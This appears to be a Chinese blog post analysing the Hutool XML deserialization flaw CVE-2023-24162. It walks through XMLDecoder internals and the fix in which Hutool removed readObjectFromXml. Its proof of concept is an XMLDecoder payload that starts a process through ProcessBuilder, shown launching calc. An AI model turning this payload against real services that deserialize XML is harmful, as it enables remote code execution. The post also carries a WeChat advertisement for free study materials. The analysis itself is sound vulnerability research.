首页 > 其他分享 >hutool XML反序列化漏洞(CVE-2023-24162)

hutool XML反序列化漏洞(CVE-2023-24162)

时间:2023-03-06 17:22:36浏览次数:55  
标签:XML CVE java sun beans decoder org 序列化 com

漏洞简介

  Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据,当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。

漏洞复现

  我们在 maven 仓库中查找 Hutool

  ​https://mvnrepository.com/search?q=Hutool

  ​image

  ​image

  把依赖复制出来,添加到项目的 pom.xml 文件中

<!-- https://mvnrepository.com/artifact/cn.hutool/hutool-all -->
<dependency>
    <groupId>cn.hutool</groupId>
    <artifactId>hutool-all</artifactId>
    <version>5.8.11</version>
</dependency>

  添加完成后刷新一下 maven 依赖

  我们编写代码

import cn.hutool.core.util.XmlUtil;
public class Test {
    public static void main(String[] args)  {
        XmlUtil.readObjectFromXml("<java>\n" +
                "    <object class=\"java.lang.ProcessBuilder\">\n" +
                "        <array class=\"java.lang.String\" length=\"1\">\n" +
                "            <void index=\"0\">\n" +
                "                <string>calc</string>\n" +
                "            </void>\n" +
                "        </array>\n" +
                "        <void method=\"start\"></void>\n" +
                "    </object>\n" +
                "</java>\n");
    }
}

  ​5

  在项目目录下创建一个 bean.xml​ 文件,将 xml 放在文件中,构造代码也可以触发

import cn.hutool.core.util.XmlUtil;
import java.io.File;
​
public class Test {
    public static void main(String[] args)  {
        File file = new File("bean.xml");
        XmlUtil.readObjectFromXml(file);
    }
}

  ​6

漏洞分析

  整个漏洞分析下来相对来时是比较简单的,但是深入搞清楚 XML 反序列化的原理需要花费不小的功夫

  ​cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)

  ​image

  当然这个地方也是可以通过读取文件来实现的

  ​cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)

  ​image

  ​cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)

  ​image

  ​java.beans.XMLDecoder#readObject

  ​image

  漏洞本质上是 java 原生方法中的漏洞,XMLDecoder.readObject 。所以不去调用 hutool-all 中的 readObjectFromXml​ 方法 就可以避免这个漏洞的产生。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

漏洞修复

  在最新版的 hutool-all 没有用黑名单,而是直接移除了 readObjectFromXml​ 方法,简单粗暴。

  ​image

XMLDecoder.readObject

<java>
 <object class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="1">
    <void index="0"><string>calc</string></void>
  </array>
  <void method="start"></void>
 </object>
</java>

  object 标签,class 的值对应着实例化的全类名(java.lang.ProcessBuilder)

  array 标签,class 的值对应着实例化的全类名对象构造的参数(ProcessBuilder 对象的构造参数)

  void 标签,method 的值对应着 method 的参数 (start)

  最后相当于执行了

new java.lang.ProcessBuilder(new String[]{"calc"}).start();

  ‍

  为了方便看到整个调用联的流程,我们在触发漏洞的位置加上断点,分析其中经过了那些处理

  ​java.lang.ProcessBuilder#start

  ​image

  ‍

start:1007, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
invokeInternal:292, Statement (java.beans)
access$000:58, Statement (java.beans)
run:185, Statement$2 (java.beans)
doPrivileged:-1, AccessController (java.security)
invoke:182, Statement (java.beans)
getValue:155, Expression (java.beans)
getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
endElement:169, ElementHandler (com.sun.beans.decoder)
endElement:318, DocumentHandler (com.sun.beans.decoder)
endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
scanEndElement:1782, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2967, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:375, DocumentHandler$1 (com.sun.beans.decoder)
run:372, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:74, ProtectionDomain$JavaSecurityAccessImpl (java.security)
parse:372, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
main:20, xmldecode (xml)

  ‍

  比较关键的处理逻辑是在 com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument​开始对 xml 进行解析

  ​image

  ‍

  先简单描述一下我的理解,然后再截图与之相对应,可能部分理解并不完全正确

  根据 xml 文件的中的标识来识别开始还是结束 <​ 对应着开始,</​ 对应着结束

  解析时会调用相对应的 Handler 进行处理,Handler 在 DocumentHandler.class​ 中被定义,通过节点名获取对应的handler

  解析到结束标识时会调用到相对应的 Handler 中的 getValueObject​ 方法 最后实现命令执行(这里描述比较简单,后面根据代码在详细描述)

  ‍

  ​com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument

  ​image

  这里是一个 do while 的循环 直到匹配到结束标识 XMLStreamConstants.END_DOCUMENT

  ‍

  ​com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next

  ​image

  ​com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.XMLDeclDriver#next

  ​image

  ‍

  ​com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.PrologDriver#next

  ​image

  ​com.sun.beans.decoder.DocumentHandler#DocumentHandler

  ​image

  对应的 Handler 是根据节点返回的,最主要的漏洞触发位置应该是endElement​ 中

  ​com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#endElement

  ​image

  ​com.sun.beans.decoder.DocumentHandler#endElement

  ​image

  调用 StringElementHandler​ 对应的 endElement​ 方法 ,StringElementHandler​ 没有这个方法,调用其父类 ElementHandler​ 中 endElement

  ​image

  ​com.sun.beans.decoder.ElementHandler#endElement

  ​image​​

  ​com.sun.beans.decoder.StringElementHandler#getValueObject

  ​image

  最后返回获取到的值是 calc​ 添加到其父类对应的 Argument​ 属性

  ​com.sun.beans.decoder.NewElementHandler#addArgument

  ​image

  接着将 handler​ 指向上一级的 handler​ VoidElementHandler

  调用 VoidElementHandler​ 对应的 endElement​ 方法 ,VoidElementHandler​ 没有这个方法,调用其父类 ObjectElementHandler​ 的父类NewElementHandler ​​ 的父类 ElementHandler​ 中 endElement

  ​com.sun.beans.decoder.ElementHandler#endElement

  ​image

  ​com.sun.beans.decoder.NewElementHandler#getValueObject()image

  ​com.sun.beans.decoder.ObjectElementHandler#getValueObject

  ​image

  执行完后又有一个 <void method="start"></void>

  调试返回的结果

  ​com.sun.beans.decoder.DocumentHandler#endElement

  ​image

  ​com.sun.beans.decoder.ElementHandler#endElement

  ​image

  ​com.sun.beans.decoder.NewElementHandler#getValueObject()

  ​image

  ​com.sun.beans.decoder.ObjectElementHandler#getValueObject

  ​image

  ​com.sun.beans.decoder.NewElementHandler#getContextBean

  ​image

  ​com.sun.beans.decoder.ElementHandler#getContextBean

  ​image

  ​com.sun.beans.decoder.NewElementHandler#getValueObject()

  ​image

  ​com.sun.beans.decoder.ObjectElementHandler#getValueObject

  ​image

  ​com.sun.beans.decoder.NewElementHandler#getContextBean

  ​image

  ​com.sun.beans.decoder.ObjectElementHandler#getValueObject

  ​image

  ​com.sun.beans.decoder.NewElementHandler#getValueObject()

  ​image

  ​com.sun.beans.decoder.ElementHandler#getContextBean

  ​image

  ​com.sun.beans.decoder.NewElementHandler#getContextBean

  ​image

  ​

  继续执行,最终触发命令执行

  ​com.sun.beans.decoder.ObjectElementHandler#getValueObject

  ​image

  后一部分很像套娃

  ​image

  整个过程冗长繁琐,建议自己调试分析一下,可能了解的更加清楚。

更多靶场实验练习、网安学习资料,请点击这里>>

 

标签:XML,CVE,java,sun,beans,decoder,org,序列化,com
From: https://www.cnblogs.com/hetianlab/p/17184614.html

相关文章

  • 20_Spring_零XML事务控制
    ​ 创建配置类 packagecom.msb.config;importcom.alibaba.druid.pool.DruidDataSource;importorg.springframework.beans.factory.annotation.Value;importor......
  • 20_Spring_零XML事务控制
     创建配置类 packagecom.msb.config;importcom.alibaba.druid.pool.DruidDataSource;importorg.springframework.beans.factory.annotation.Value;importorg.springf......
  • 20_Spring_零XML事务控制
     创建配置类 packagecom.msb.config;importcom.alibaba.druid.pool.DruidDataSource;importorg.springframework.beans.factory.annotation.Value;importorg.springf......
  • 20_Spring_零XML事务控制
    ​ 创建配置类 packagecom.msb.config;importcom.alibaba.druid.pool.DruidDataSource;importorg.springframework.beans.factory.annotation.Value;importor......
  • 19_Spring_事务管理XML配置方式
    ​ applicationContext中,通过AOP实现事务的控制 <?xmlversion="1.0"encoding="UTF-8"?><beansxmlns="http://www.springframework.org/schema/beans"xm......
  • 19_Spring_事务管理XML配置方式
    ​ applicationContext中,通过AOP实现事务的控制 <?xmlversion="1.0"encoding="UTF-8"?><beansxmlns="http://www.springframework.org/schema/beans"xm......
  • C#/.net 序列化与反序列化
    序列化就是将我们程序中的对象通过字节流写入存储媒体或网络流中。反序列化就是把已存入的媒体或接收的网络流中的内容转换成程序运行中的对象。这两个过程结合起来,可以轻......
  • 多对多三种创建方式,django内置序列化组件(drf前身),批量操作数据,分页器思路,自定义
    多对多三种创建方式,django内置序列化组件(drf前身),批量操作数据,分页器思路,自定义分页器的使用,form组件多对多三种创建方式1.全自动创建 classBook(models.Model):......
  • spring找不到配置文件applicationContext.xml
    问题描述:报错信息为Causedby:java.io.FileNotFoundException:classpathresource[applicationContext.xml]cannotbeopenedbecauseitdoesnotexisttarget目......
  • java序列化 教程
    序列化的条件:序列化必须要满足两个条件:1.该对象必须实现java.io.Serializble接口2.改对象的所有属性必须是可序列化的,若有属性不可序列化也须注明是短暂的 注:检......